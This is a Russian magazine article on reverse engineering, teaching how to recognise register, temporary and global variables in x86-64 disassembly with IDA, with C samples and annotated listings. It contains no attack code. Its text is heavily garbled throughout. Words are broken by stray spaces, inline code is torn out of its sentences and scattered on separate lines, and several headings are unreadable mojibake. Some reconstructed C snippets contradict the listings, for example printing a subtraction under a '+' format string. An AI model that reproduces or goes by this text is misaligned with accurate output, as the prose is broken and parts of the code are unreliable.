с помощью того же HIEW, но вот на прог рамме в мил лион строк мож но и лап ти
ски нуть! Или... вос поль зовать ся IDA. Пос мотрим на резуль тат ее работы:

 main            proc near               ; CODE XREF: 
__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:
000000014000400C↓o

   Buf             = byte ptr -88h
   var_18          = qword ptr -18h

IDA обна ружи ла две локаль ные перемен ные. Вто рая из них рас положе на
по сме щению  отно ситель но кад ра сте ка, отто го и наз вана она .0x18 var_18

; Использование регистра RBX
                   push rbx

                     sub rsp, 0A0h
                     mov rax, cs:__security_cookie
                     xor rax, rsp

IDA авто мати чес ки под став ляет имя локаль ной перемен ной к ее сме щению
в кад ре сте ка:

      mov [rsp+0A8h+var_18], rax
                         lea rcx, _Format ; "Enter password:"
                     xor ebx, ebx
                   call printf

                     xor ecx, ecx
                   call cs:__imp___acrt_iob_func

                     mov r8, rax         ; File
                       lea edx, [rbx+64h] ; MaxCount
                      lea rcx, [rsp+0A8h+Buf] ; Buf

               ...

Об рати вни мание: IDA пра виль но рас позна ла обра щение к нашей вто рой
перемен ной.

ÈÄÅÍÒÈÔÈÊÀÖÈß ÐÅÃÈÑÒÐÎÂÛÕ È ÂÐÅÌÅÍÍÛÕ ÏÅÐÅÌÅÍÍÛÕ

Стре мясь миними зиро вать количес тво обра щений к памяти, опти мизи- 
рующие ком пилято ры раз меща ют наибо лее интенсив но исполь зуемые
локаль ные перемен ные в регис трах обще го наз начения, толь ко по необ- 
ходимос ти сох раняя их в сте ке (а в иде аль ном слу чае не сох раняя их вов се).

Ка кие труд ности для ана лиза это соз дает? Во-пер вых, вво дит кон текс тную
зависи мость в код. Так, уви дев в любой точ ке фун кции коман ду типа 

, мы с уве рен ностью можем утвер ждать, что здесь в регистр

 копиру ется содер жимое перемен ной . А что это за перемен ная?
Это мож но лег ко узнать, прой дясь по телу фун кции в поис ках всех вхож дений

, они-то и под ска жут наз начение перемен ной!

MOV RAX,
[RBP+var_10]
RAX var_10

var_10
Од нако с регис тро выми перемен ными этот номер не прой дет! Положим,

нам встре тилась инс трук ция  и мы хотим отсле дить все обра- 
щения к регис тро вой перемен ной . Как быть, ведь поиск подс тро ки 

в теле фун кции ничего не даст — вер нее, нап ротив, выдаст мно жес тво лож- 
ных сра баты ваний? Один и тот же регистр (в нашем слу чае ) может
исполь зовать ся (и исполь зует ся) для вре мен ного хра нения мно жес тва раз- 
личных перемен ных! Пос коль ку регис тров обще го наз начения 16, да к тому
же  зак реплен за ука зате лем кад ра сте ка, а  — за воз вра щаемым зна- 
чени ем фун кции, оста ется 14 регис тров, при год ных для хра нения локаль ных
перемен ных. А в прог раммах на язы ке C++ и того мень ше — один из этих
регис тров отве ден под ука затель на вир туаль ную таб лицу, а дру гой —
под ука затель на экзем пляр . Оста ется 12 регис тров. На пер вый

взгляд — дос таточ но. Одна ко сле дует учи тывать, что в типич ной фун кции
локаль ных перемен ных десят ки! Вот ком пилятор и исполь зует регис тры
как кеш, толь ко в исклю читель ных слу чаях каж дая локаль ная перемен ная
сидит в сво ем регис тре, чаще все го перемен ные хаотич но ска чут по регис- 
трам, вре мена ми сох раня ются в сте ке, зачас тую вытал кива ясь сов сем в дру- 
гой регистр (не в тот, в чье содер жимое сох ранялась).

MOV RAX,RSI
RSI RSI

RSI

RBP RAX

this

Прак тичес ки все рас простра нен ные дизас сем бле ры (в том чис ле и IDA)
не в сос тоянии отсле живать «миг рации» регис тро вых перемен ных, и эту опе- 
рацию при ходит ся выпол нять «вруч ную». Опре делить содер жимое инте ресу- 
юще го регис тра в про изволь ной точ ке прог раммы дос таточ но прос то, хотя
и уто митель но: дос таточ но прог нать прог рамму с начала фун кции до этой
точ ки на «эму лято ре про цес сора», работа юще го в «голове», отсле живая все
опе рации пересыл ки. Гораз до слож нее выяс нить, сколь ко локаль ных
перемен ных хра нит ся в таком-то регис тре. Ког да боль шое количес тво
перемен ных отоб ража ется на неболь шое чис ло регис тров, однознач но вос- 
ста новить отоб ражение ста новит ся невоз можно. Вот, нап ример, прог- 
раммист объ явля ет перемен ную  — ком пилятор помеща ет ее в регистр .

Затем некото рое вре мя спус тя прог раммист объ явля ет перемен ную , и,
если перемен ная  боль ше не исполь зует ся (что быва ет доволь но час то),

ком пилятор может помес тить в тот же самый регистр  перемен ную ,

не заботясь о сох ранении зна чения  (а зачем его сох ранять, если оно

не нуж но). В резуль тате мы теря ем одну перемен ную. На пер вый взгляд здесь
нет никаких проб лем. Теря ем, ну и лад но! Теоре тичес ки это мог сде лать и сам
прог раммист. Спра шива ется: зачем он вво дил , ког да для работы впол не

дос таточ но одной ? Если перемен ные  и  име ют один тип, то никаких
проб лем дей стви тель но не воз ника ет, но в про тив ном слу чае ана лиз прог- 
раммы будет чрез вычай но зат руднен.

а X
b

а
X b

а

b
а а b

Пе рей дем к тех нике иден тифика ции регис тро вых перемен ных. Во мно гих
хакер ских руководс твах утвер жда ется, что регис тро вая перемен ная отли чает- 
ся от осталь ных тем, что никог да не обра щает ся к памяти вооб ще. Это невер-
но. Регис тро вые перемен ные могут вре мен но сох ранять ся в сте ке коман дой

 и вос ста нав ливать ся обратно коман дой . Конеч но, в некото ром,

«выс шем смыс ле» такая перемен ная перес тает быть регис тро вой, но и
не ста новит ся сте ковой. Что бы не дро бить типы перемен ных на мно жес тво
клас сов, усло вим ся счи тать, что (как утвер жда ют дру гие хакер ские руководс- 
тва) регис тро вая перемен ная — это перемен ная, которая содер жится
в регис тре обще го наз начения, воз можно, сох раня ется в сте ке, но всег да
на вер шине, а не в кад ре сте ка.

PUSH POP

Дру гими сло вами, регис тро вые перемен ные никог да не адре суют ся через
. Если перемен ная адре сует ся через , сле дова тель но, она «про писа- 

на» в кад ре сте ка и явля ется сте ковой перемен ной. Пра виль но? Нет! Пос- 
мотри, что про изой дет, если регис тро вой перемен ной  прис воить зна чение

сте ковой перемен ной . Ком пилятор сге нери рует приб лизитель но сле- 

дующий код: . Соот ветс твен но, прис воение сте ковой
перемен ной зна чения регис тро вой будет выг лядеть так: 

. Но, нес мотря на явное обра щение к кад ру сте ка, перемен ная REG все

же оста ется регис тро вой перемен ной. Рас смот рим сле дующий код:

RBP RBP

а
b

MOV REG, [RBP-xxx]
MOV [RBP-xxx], 

REG

...
  MOV [RBP-0x4], 0x666
  MOV RSI, [RBP-0x4]
  MOV [RBP-0x8], RSI
  MOV RSI, 0x777
  SUB RSI, [RBP-0x8]
  MOV [RBP-0xC], RSI

...

Его мож но интер пре тиро вать дво яко — если дей стви тель но сущес тву ет некая
регис тро вая перемен ная , исходный тест при мера дол жен выг лядеть так:RSI

   int var_4 = 0x666;
   int var_8 = var_4;
     int vac_C = 0x777 - var_8;

А может, регистр  исполь зует ся как вре мен ная перемен ная для пересыл ки

дан ных, тог да исходный текст при мера дол жен выг лядеть так:

RSI

   int var_4 = 0x666;
    register int RSI = var_4;

   int var_8 = RSI;
    RSI = 0x777 - var_8;
   int var_C = RSI;

Немного о регистрах
В язы ках C/C++ сущес тву ет клю чевое сло во , пред назна чен ное

для при нуди тель ного раз мещения перемен ных в регис трах. И все было бы
хорошо, толь ко подав ляющее боль шинс тво ком пилято ров вти хомол ку игно- 
риру ют пред писания прог раммис тов, раз мещая перемен ные там, где,
по мне нию ком пилято ра, им будет «удоб но». Раз работ чики ком пилято ров
объ ясня ют это тем, что ком пилятор луч ше зна ет, как пос тро ить наибо лее
эффектив ный код. Не надо, говорят они, пытать ся помогать ему.

register

Нап рашива ется сле дующая ана логия: пас сажир говорит, что ему надо
в аэро порт, а так сист мол ча едет, «куда удоб нее». Ну не дол жна работа с ком- 
пилято ром прев ращать ся в вой ну с ним, никак не дол жна! Отказ раз местить
перемен ную в регис тре впол не логичен, но в таком слу чае нуж но прек ращать
ком пиляцию и выдать сооб щение об ошиб ке, типа «убе ри , а то ком- 

пилить не буду!», или на худой конец — вывес ти пре дуп режде ние.

register

При том что алго ритм обо их лис тингов иден тичен, пер вый из них замет но
выиг рыва ет в наг ляднос ти у вто рого. А глав ная цель дизас сем бли рова ния
отнюдь не вос про изве дение под линно го исходно го тек ста прог раммы,
а реконс тру иро вание ее алго рит ма. Совер шенно без различ но, что пред став- 
ляет собой  — регис тро вую или вре мен ную перемен ную. Глав ное, что бы

кос тюмчик сидел. Гру бо говоря, из нес коль ких вари антов интер пре тации
выбирай самый наг лядный!

RSI

Вот мы и подош ли к понятию вре мен ных перемен ных. Но, преж де чем
занять ся его изу чени ем вплот ную, завер шим изу чение регис тро вых перемен- 
ных иссле дова нием сле дующе го при мера, демонс три рующе го иден тифика- 
цию регис тро вых перемен ных:

#include <stdio.h>
#include <stdlib.h>

     int _tmain(int argc, _TCHAR* argv[]) {
    int a = 0x666;
    int b = 0x777;
  int c;
     c = a + b;
    printf("%x + %x = %x\n", a, b, c);
     c = b - a;
    printf("%x - %x = %x\n", b, a, c);
     system("pause");
  return 0;
}

От компи лиру ем этот код с помощью Embarcadero C++Builder с уста нов- 
ленным фла гом ком пиляции  (опти миза ция по ско рос ти).-O2

Нас трой ка парамет ров опти миза ции

В ито ге дизас сем бли рован ный лис тинг дол жен выг лядеть приб лизитель но
так:

; int __cdecl main(int argc, const char **argv, const char **envp)
                public main

 main            proc near               ; DATA XREF: __acrtused+29↑o

Об рати вни мание, что IDA не рас позна ла ни одной сте ковой перемен ной,
хотя они объ явля лись в прог рамме. Выходит, ком пилятор раз местил их
в регис трах. Если бы мы откомпи лиро вали этот при мер с отклю чен ной опти- 
миза цией, в ука зан ном мес те было бы объ явле но девять перемен ных.
Можешь про верить это сам.

Сох раня ем регистр в сте ке или выделя ем память для сте ковой перемен- 
ной. Пос коль ку IDA не обна ружи ла ни одной сте ковой перемен ной, веро ятнее
все го, этот код сох раня ет регистр.

    push rbp
; Выделяем память в стеке

                     sub rsp, 20h
; Очевидно, инициализируем кадр стека

                     lea rbp, [rsp+20h]

Сле дующей коман дой в регистр  заг ружа ем ука затель на перемен ную

. Дваж ды щел каем по ней, перехо дим к ее опре деле нию... И видим стро- 
ку: . Это явно стро ка фор мата. При вызове фун кции 

она всег да помеща ется в самый пер вый регистр для переда чи. Сле дова тель- 
но, мож но сде лать вывод, что про исхо дит под готов ка парамет ров для вызова

.

RCX
aXXX

'%x + %x = %x' printf

printf

      lea rcx, aXXX       ; "%x + %x = %x\n"

Продолжение статьи →



ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
ИЩЕМ ПЕРЕМЕННЫЕ РАЗНЫХ ТИПОВ В ЧУЖИХ

ПРОГРАММАХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Смот ри, ини циали зиру ется регистр! Срав ни это с при мером
, при веден ным в раз деле «Иден тифика ция локаль- 

ных сте ковых перемен ных». Пом нишь, там было ?

local_vars_identified
mov [rsp+48h+a], 666h

      mov edx, 666h

Сле дова тель но, мож но заподоз рить, что  (явля ющий ся 32-бит ной частью

) — это регис тро вая перемен ная. По сущес тву, как нам извес тно, в регис- 
тре  переда ется вто рой параметр. Зна чит, наш пре дыду щий вывод

о переда че парамет ров фун кции под твержда ется. Таким обра зом, зна чение
 переда валось через перемен ную. Реконс тру ируя исходный текст,

пишем: .

EDX
RDX

RDX

0x666
int a = 0x666

Ана логич но  (32-бит ная часть , в котором переда ется тре тий

параметр), ско рее все го, пред став ляет собой регис тро вую перемен ную: 
.

R8D R8
int

b = 0x777

      mov r8d, 777h

Су дя по фор матной стро ке, в пос леднем парамет ре переда ется сум ма пер- 
вых двух. Одна ко, как мы видим, ком пилятор опус тил опе рацию сло жения,
выпол нив ее в момент ком пиляции. В таком коде, где оба сла гаемых
«зашиты» в прог рамму, сло жение мож но без болез ненно выпол нить на эта пе
ком пиляции, пос коль ку однознач но извес тно, что зна чения не будут изме- 
нены.

Зная, что  (32-бит ная часть , пред назна чен ная для чет верто го

парамет ра) — регис тро вая перемен ная, прос то помеща ем в нее резуль тат.

R9D R9

      mov r9d, 0DDDh

Все четыре парамет ра находят ся в целевых регис трах, мож но вос ста новить
про тотип :printf

   printf("%x + %x = %x\n", a, b, a+b)

А теперь мож но выз вать фун кцию:

    call printf

В сле дующей час ти прог раммы мы дей ству ем похожим обра зом. Единс твен- 
ное, на что сто ит обра тить вни мание: в отли чие от пре дыду щей час ти лис- 
тинга, в фор матной стро ке сто ит минус вмес то плю са. Соот ветс твен но, чет- 
вертый параметр — раз ность вто рого и треть его. В таком поряд ке парамет ры
и помеща ются в регис тры: сна чала фор матная стро ка, затем умень шаемое
и вычита емое, пос ледний параметр — раз ность.

           lea rcx, aXXX_0 ; "%x - %x = %x\n"
                     mov edx, 777h
                     mov r8d, 666h
                     mov r9d, 111h
                   call printf

Та ким обра зом, исходный код для дан ного бло ка прог раммы выг лядит сле- 
дующим обра зом:

   int a = 0x777;
   int b = 0x666;

     printf("%x + %x = %x", a, b, a - b);

           lea rcx, aPause ; "pause"

; Вызов system("pause") для задержки программы перед закрытием
                   call system

; Возвращение в EAX нулевого значения: "return 0;"
                     xor eax, eax

; Очистка стека
                     add rsp, 20h

; Восстановление регистра
                    pop rbp

               retn
main            endp

В ито ге реконс тру иро ван ный исходный код выг лядит так:

   int a = 0x666;
   int b = 0x777;

     printf("%x + %x = %x\n", a, b, a + b);
     printf("%x + %x = %x\n", b, a, b - a);

Срав нивая свой резуль тат с ори гиналь ным исходным тек стом, с некото рой
досадой обна ружи ваем, что все-таки слег ка ошиб лись, не сох ранив про- 
межу точ ный резуль тат выраже ния в перемен ную . Одна ко эта ошиб ка

отнюдь не загуби ла нашу работу, нап ротив, при дала лис тингу более «при- 
чесан ный» вид, облегчив его вос при ятие. Впро чем, о вку сах не спо рят, и,
если ты жела ешь точ нее сле довать ассем блер ному коду, что ж, твоя воля,
вво ди еще и перемен ную .

c

c

Âðåìåííûå ïåðåìåííûå

Вре мен ными перемен ными мы будем называть локаль ные перемен ные,
внед ряемые в код прог раммы самим ком пилято ром. Для чего они нуж ны?
Рас смот рим сле дующий при мер: . Если  и  — сте ковые перемен- 

ные, то непос редс твен ное прис воение невоз можно, пос коль ку в мик ропро- 
цес сорах серии 80x86 (к которой отно сит ся исполь зуемое ныне рас ширение
x86_64) отсутс тву ет адре сация «память — память». Вот и при ходит ся выпол- 
нять эту опе рацию в два эта па: «память → регистр» + «регистр → память».
Поэто му, если скор мить ком пилято ру сле дующий код:

int b = a а b

  int main() {
    int a = 0x13;
     register int tmp = a;
    int b = tmp;
}

где  и есть вре мен ная перемен ная, соз дава емая лишь на вре мя выпол- 

нения опе рации b = a, а затем унич тожа емая за ненадоб ностью, с отклю чен- 
ной опти миза цией Visual C++ сге нери рует такой код:

tmp

 

 

... 
mov     [rsp+18h+var_18], 13h 

 
 

mov     eax, [rsp+18h+var_14] 
mov     [rsp+18h+var_10], eax 
...

mov     eax, [rsp+18h+var_18]
mov     [rsp+18h+var_14], eax

Ком пилято ры всег да стре мят ся раз мещать вре мен ные перемен ные в регис- 
трах и толь ко в край них слу чаях затал кива ют их в стек. Механиз мы выделе ния
памяти и спо собы чте ния/записи вре мен ных перемен ных доволь но раз нооб- 
разны.

Сох ранение перемен ных в сте ке — обыч ная реак ция ком пилято ра
на острый недос таток регис тров. Целочис ленные перемен ные чаще все го
закиды вают ся на вер шину сте ка коман дой , а стя гива ются отту да коман- 

дой . Встре тив в тек сте прог раммы «тянитол кая» (инс трук цию  в паре

с соот ветс тву ющей ей ), сох раня юще го содер жимое ини циали зиро ван- 

ного регис тра, но не сте ковый аргу мент фун кции (см. «Иден тифика ция аргу- 
мен тов фун кции»), мож но дос таточ но уве рен но утвер ждать, что мы име ем
дело с целочис ленной вре мен ной перемен ной.

PUSH
POP PUSH

POP

В отли чие от 32-раз рядно го про цес сора, в котором выделе ние памяти
под вещес твен ные перемен ные и их ини циали зация в боль шинс тве слу чаев
про исхо дила раз дель но, в 64-бит ном про цес соре, бла года ря наличию в нем
регис тров  и набора команд , работа с вещес твен ными чис лами
прак тичес ки не име ет раз ницы с выпол нени ем целочис ленных вычис лений.
При чина, по которой в отсутс твии  при ходи лось сна чала выделять память

под вещес твен ные зна чения, а толь ко потом их ини циали зиро вать, зак- 
лючалась в том, что коман ды, поз воля ющей переб расывать чис ла с вер шины
сте ка соп роцес сора на вер шину сте ка основно го про цес сора, не сущес тво- 
вало, и эту опе рацию при ходи лось выпол нять вруч ную.

XMM* SSE*

SSE

Прод винутые ком пилято ры (нап ример, Microsoft Visual C++) уме ют рас- 
полагать вре мен ные перемен ные в аргу мен тах, оставших ся на вер шине сте ка
пос ле завер шения пос ледней выз ванной фун кции.

Вре мен ные перемен ные раз мером свы ше 8 байт (стро ки, мас сивы, струк- 
туры, объ екты) прак тичес ки всег да раз меша ются в сте ке, замет но выделя ясь
сре ди про чих типов сво им механиз мом ини циали зации — вмес то тра дици- 
онно го  здесь исполь зует ся одна из команд цик личес кой пересыл ки

, при необ ходимос ти пред варен ная пре фик сом пов торения . Так

дела ют ком пилято ры Microsoft Visual C++, Embarcadero C++Builder. Тот же код
с заменой целочис ленной перемен ной на вещес твен ную выг лядит сле-
дующим обра зом:

MOV
MOVS* REP

...
    movsd xmm0, cs:__real@402b54fdf3b645a2
    movsd [rsp+28h+var_28], xmm0
    movsd xmm0, [rsp+28h+var_28]
    movsd [rsp+28h+var_20], xmm0
    movsd xmm0, [rsp+28h+var_20]
    movsd [rsp+28h+var_18], xmm0

...

Ме ханизм выделе ния памяти под вре мен ные перемен ные прак тичес ки иден- 
тичен механиз му выделе ния памяти сте ковым локаль ным перемен ным, одна- 
ко никаких проб лем иден тифика ции не воз ника ет. Во-пер вых, выделе ние
памяти сте ковым перемен ным про исхо дит сра зу же пос ле откры тия кад ра
сте ка, а вре мен ным перемен ным — в любой точ ке фун кции. Во-вто рых, вре- 
мен ные перемен ные адре суют ся не через регистр — ука затель кад ра сте ка,
а через ука затель вер шины сте ка. Одна ко таким же обра зом могут пос тупать
опти мизи рующие ком пилято ры со сте ковы ми перемен ными, в чем мы не раз
убеж дались.

Ос новные механиз мы манипу ляции с вре мен ными перемен ными

В каких же слу чаях ком пилятор соз дает вре мен ные перемен ные? Вооб ще-то
это зависит от «нра ва» самого ком пилято ра (чужая душа всег да потем ки, а уж
тем более душа ком пилято ра). Одна ко мож но выделить по край ней мере два
слу чая, ког да без соз дания вре мен ных перемен ных никак не обой тись:
1. При опе раци ях прис воения, сло жения, умно жения.
2. В тех слу чаях, ког да аргу мент фун кции или член выраже ния — дру гая фун- 

кция.

Рас смот рим оба слу чая под робнее.
Соз дание вре мен ных перемен ных при пересыл ках дан ных и вычис лении

выраже ний. Как уже отме чалось, мик ропро цес соры серии 80x86 не под- 
держи вают непос редс твен ную пересыл ку дан ных из памяти в память, поэто му
прис воение одной перемен ной зна чения дру гой тре бует вво да вре мен ной
регис тро вой перемен ной (при усло вии, что осталь ные перемен ные не регис- 
тро вые).

Вы чис ление выраже ний (осо бен но слож ных) так же тре бует вре мен ных
перемен ных для хра нения про межу точ ных резуль татов. Вот, нап ример, сколь- 
ко, по-тво ему, тре бует ся вре мен ных перемен ных для вычис ления сле дующе- 
го выраже ния?

   int a = 0x1;
   int b = 0x2;
       int c = 1 / ((1-a) / (1-b));

Нач нем со ско бок, перепи сав их таким обра зом:

   int tmp_d = 1;
    tmp_d = tmp_d - a;

и

   int tmp_e = 1;
    tmp_e = tmp_e - b;

за тем

     int tmp_f = tmp_d / tmp_e;

и наконец

   int tmp_j = 1;
    c = tmp_j / tmp_f;

Ито го счи таем... раз, два, три, четыре, ага, четыре вре мен ные перемен ные.
Не слиш ком ли мно го? Давай поп робу ем записать это покоро че:

   int tmp_d = 1;
     tmp_d = tmp_d - a; // (1 - a);

   int tmp_e = 1;
     tmp_e = tmp_e - b; // (1 - b);
     tmp_d = tmp_d / tmp_e; // (1 - a) / (1 - b);
  tmp_e = 1;
    tmp_e = tmp_e / tmp_d;

Как мы видим, впол не мож но обой тись все го дву мя вре мен ными перемен- 
ными. Сов сем дру гое дело! А что, если бы выраже ние было чуточ ку пос- 
ложнее? Ска жем, при сутс тво вало бы десять пар ско бок вмес то трех. Сколь- 
ко бы тог да пот ребова лось вре мен ных перемен ных? Нет, не соб лазняй ся
иску шени ем сра зу же заг лянуть в ответ, поп робуй сос читать сам! Уже сос- 
читал? Да что там счи тать, каким бы слож ным выраже ние ни было, для его
вычис ления впол не дос таточ но все го двух вре мен ных перемен ных. А если
рас крыть скоб ки, то мож но огра ничить ся и одной, одна ко это пот ребу ет
излишних вычис лений.

А теперь пос мотрим, какой код сге нери ровал Visual C++ с отклю чен ной
опти миза цией (при мер ):time_expression

 main            proc near
; Объявление локальных переменных

   var_18          = dword ptr -18h
   var_14          = dword ptr -14h
   var_10          = dword ptr -10h
   var_C           = dword ptr -0Ch

; Смотри, в исходном коде мы объявили три локальные переменные, а 
здесь их четыре
; Выделение памяти под стек

                     sub rsp, 18h
; Инициализация локальных переменных

                     mov [rsp+18h+var_18], 1
                     mov [rsp+18h+var_14], 2

; Вот вводится первая временная переменная
                     mov eax, 1

В нее записы вает ся непос редс твен ное зна чение, так как коман да вычита ния
, в силу архи тек турных осо бен ностей мик ропро цес соров серии 80x86,

всег да записы вает резуль тат вычис ления на мес то умень шаемо го. Поэто му
умень шаемое не может быть непос редс твен ным зна чени ем, вот и при ходит ся
вво дить вре мен ную перемен ную.

SUB

      sub eax, [rsp+18h+var_18]

В регис тре  теперь хра нит ся вычис ленное зна чение ( ). 

Вво дит ся еще одна вре мен ная перемен ная, пос коль ку  тро гать нель зя —

он занят.

EAX 1-a
EAX

      mov ecx, 1
                     sub ecx, [rsp+18h+var_14]

В регис тре  теперь хра нит ся вычис ленное зна чение ( ).ECX 1-b
Пре обра зуем двой ное сло во, лежащее в , в чет верное сло во, помеща- 

емое в . Машин ная коман да  всег да ожи дает уви деть делимое
имен но в этих регис трах.

EAX
EDX:EAX idiv

cdq

Де лим ( ) на ( ), помещая час тное в . Преж нее зна чение вре мен ной

перемен ной при этом неиз бежно затира ется, одна ко для даль нейших вычис- 
лений оно и не нуж но. Вот и пус кай себе затира ется — не беда!

1-a 1-b EAX

    idiv ecx
; Копируем значение (1-a)/(1-b) в локальную переменную var_10

                     mov [rsp+18h+var_10], eax
; Заносим в EAX непосредственное значение 1. Это еще одна временная 
переменная

                     mov eax, 1
; Обнуляем EDX
               cdq
; Копируем результат (1-a)/(1-b) из переменной var_10 в ECX. 
Четвертая временная переменная

                     mov ecx, [rsp+18h+var_10]
; Делим 1 на (1-a)/(1-b). Частное помещается в EAX

                   idiv ecx
; Копируем результат в переменную var_C

                     mov [rsp+18h+var_C], eax
; Возвращаем ноль

                     xor eax, eax
; Восстанавливаем стек

                     add rsp, 18h
               retn
main            endp

Итак, для вычис ления дан ного выраже ния пот ребова лось четыре вре мен ные
перемен ные и все го два регис тра обще го наз начения.

Ñîçäàíèå âðåìåííûõ ïåðåìåííûõ äëÿ ñîõðàíåíèÿ çíà÷åíèÿ,

âîçâðàùåííîãî ôóíêöèåé, è ðåçóëüòàòîâ âû÷èñëåíèÿ âûðàæåíèé

Боль шинс тво язы ков высоко го уров ня (в том чис ле и C/C++) допус кают под- 
ста нов ку фун кций и выраже ний в качес тве непос редс твен ных аргу мен тов.
Нап ример, . Преж де чем выз вать , ком- 

пилятор дол жен вычис лить зна чение выраже ния . Это лег ко, но воз ника ет

воп рос: во что записать резуль тат сло жения?

myfunc(a+b, myfunc_2(c)) myfunc
a+b

Èñ õîäíèê time_expression2:

     int myfunc(int a, int b) {
    return a + b;
}

   int myfunc_2(int c) {
    return c + 1;
}

  int main() {
    int a = 1;
    int b = 2;
    int c = 3;

       int d = myfunc(a + b, myfunc_2(c));
}

Вы пол нение time_expression2 под дебаг гером

Пос мотрим, как с этим спра вит ся ком пилятор Visual C++:

  main            proc near ; CODE XREF: __scrt_common_main_seh+107↓p
                         ; DATA XREF: .pdata:ExceptionDir↓o
; Объявляем локальные переменные

   c               = dword ptr -18h
   var_14          = dword ptr -14h
   var_10          = dword ptr -10h
   var_C           = dword ptr -0Ch

; Инициализируем стек
                     sub rsp, 38h

; Определяем значения локальных переменных
                     mov [rsp+38h+var_10], 1
                     mov [rsp+38h+var_14], 2
                     mov [rsp+38h+c], 3

Соз дает ся вре мен ная регис тро вая перемен ная , и в нее копиру ется зна- 

чение локаль ной перемен ной  для переда чи фун кции  в качес тве

парамет ра.

tEAX
c myfunc_2

       mov ecx, [rsp+38h+c] ; c

Фун кция  воз вра щает свое зна чение в регис тре . Его мож но рас- 
смат ривать как сво его рода еще одну вре мен ную регис тро вую перемен ную.

myfunc_2 EAX

    call myfunc_2(int)

Ко пиру ем в  зна чение локаль ной перемен ной .  — еще одна

вре мен ная перемен ная. Обра ти вни мание, что  до сих пор занята.

ECX var_14 ECX
EAX

      mov ecx, [rsp+38h+var_14]
; Создается еще одна (третья) временная регистровая переменная tEDX

                     mov edx, [rsp+38h+var_10]
; Складываем var_10 и var_14, заменяя значение в tEDX

                     add edx, ecx
; Копируем результат предыдущего сложения во временную регистровую 
переменную tECX

                     mov ecx, edx        ; a
; Наконец, используем результат функции myfunc_2, копируя его в tEDX

                     mov edx, eax        ; b

Па рамет ры для переда чи сле дующей фун кции под готов лены путем раз- 
мещения в нуж ных регис трах.

    call myfunc(int,int)
; Результат myfunc копируем в локальную переменную var_C

                     mov [rsp+38h+var_C], eax
; Возвращаем ноль

                     xor eax, eax
; Деинициализируем стек

                     add rsp, 38h
               retn
main            endp

Îáëàñòü âèäèìîñòè âðåìåííûõ ïåðåìåííûõ

Вре мен ные перемен ные — это в некото ром роде очень локаль ные перемен- 
ные. Область их видимос ти в боль шинс тве слу чаев огра ниче на нес коль кими
стро ками кода, вне кон тек ста которых вре мен ная перемен ная не име ет
никако го смыс ла. По боль шому сче ту вре мен ная перемен ная не име ет смыс- 
ла вооб ще и толь ко заг ромож дает код. В самом деле,  нам ного

короче и понят нее, чем . Поэто му, что бы
не засорять дизас сем блер ный лис тинг, стре мись не упот реблять в ком мента- 
риях вре мен ные перемен ные, а под став ляй вмес то них их фак тичес кие зна- 
чения. Сами же вре мен ные перемен ные разум но пред варять каким-нибудь
харак терным пре фик сом, нап ример  (или , если ты патоло гичес кий

любитель крат кости). Нап ример:

myfunc(a+b)
int tmp=a+b; myfunc(tmp)

tmp_ t

   MOV EAX, [RBP+var_4] ; // var_8 = var_4
              ; ^ tEAX = var_4
   ADD EAX, [RBP+var_8] ; ^ tEAX += var_8
       MOV ECX, EAX ; // MyFunc(var_4+var_8)
 CALL MyFunc

Продолжение статьи →



ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
ИЩЕМ ПЕРЕМЕННЫЕ РАЗНЫХ ТИПОВ В ЧУЖИХ

ПРОГРАММАХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÄÅÍÒÈÔÈÊÀÖÈß ÃËÎÁÀËÜÍÛÕ ÏÅÐÅÌÅÍÍÛÕ

Прог рамма, наш пигован ная гло баль ными перемен ными, едва ли не самое
страш ное прок лятие хакеров: нет дре ва стро гой иерар хии, ком понен ты прог- 
раммы тес но переп лета ются друг с дру гом, и, что бы понять алго ритм одно го
из них, при ходит ся про чесы вать весь лис тинг в поис ках перек рес тных ссы лок.
А в совер шенс тве вос ста нав ливать перек рес тные ссыл ки не уме ет ни один
дизас сем блер, даже IDA!

Иден тифици ровать гло баль ные перемен ные очень прос то, гораз до про- 
ще, чем все осталь ные конс трук ции язы ков высоко го уров ня. Гло баль ные
перемен ные сра зу же выда ют себя непос редс твен ной адре саци ей памяти, то
есть обра щение к ним выг лядит приб лизитель но так: , где

 и есть адрес гло баль ной перемен ной.

MOV RAX, [401066]
0x401066

Слож нее понять, для чего эта перемен ная, собс твен но, нуж на и каково ее
содер жимое на дан ный момент. В отли чие от локаль ных перемен ных, гло- 
баль ные перемен ные кон текс тно зависи мы. В самом деле, каж дая локаль ная
перемен ная ини циали зиру ется «сво ей» фун кци ей и не зависит от того, какие
фун кции были выз ваны до нее. Нап ротив, гло баль ные перемен ные может
модифи циро вать кто угод но и ког да угод но, зна чение гло баль ной перемен- 
ной в про изволь ной точ ке прог раммы не опре деле но. Что бы его выяс нить,
необ ходимо про ана лизи ровать все манипу лиру ющие с ней фун кции и —
более того — вос ста новить порядок их вызова. Под робнее этот воп рос будет
рас смот рен в раз деле «Пос тро ение дерева вызовов», пока же раз берем ся
с тех никой вос ста нов ления перек рес тных ссы лок.

Òåõíèêà âîññòàíîâëåíèÿ ïåðåêðåñòíûõ ññûëîê

В боль шинс тве слу чаев с вос ста нов лени ем перек рес тных ссы лок прек расно
справ ляет ся авто мати чес кий ана лиза тор IDA, и делать это вруч ную прак- 
тичес ки не при ходит ся. Одна ко иног да IDA оши бает ся, да и не всег да (и не у
всех!) она быва ет под рукой. Поэто му сов сем нелиш не уметь справ лять ся
с гло баль ными перемен ными самому.

Îòñëåæèâàíèå îáðàùåíèé ê ãëîáàëüíûì ïåðåìåííûì

êîíòåêñòíûì ïîèñêîì èõ ñìåùåíèÿ â ñåãìåíòå êîäà äàííûõ

Не пос редс твен ная адре сация гло баль ных перемен ных чрез вычай но облегча- 
ет поиск манипу лиру ющих с ними машин ных команд. Рас смот рим, нап ример,
такую конс трук цию: . Пос ле ассем бли рова ния она будет
выг лядеть так: . Сме щение гло баль ной перемен ной записы- 

вает ся, «как есть» (естес твен но, с соб людени ем обратно го поряд ка сле дова- 
ния бай тов — стар шие рас полага ются по боль шему адре су, а млад шие —
по мень шему).

MOV EAX,[0x41B904]
A1 04 B9 41 00

Три виаль ный кон текс тный поиск поз волит выявить все обра щения к инте- 
ресу ющей нас гло баль ной перемен ной, дос таточ но лишь узнать ее сме- 
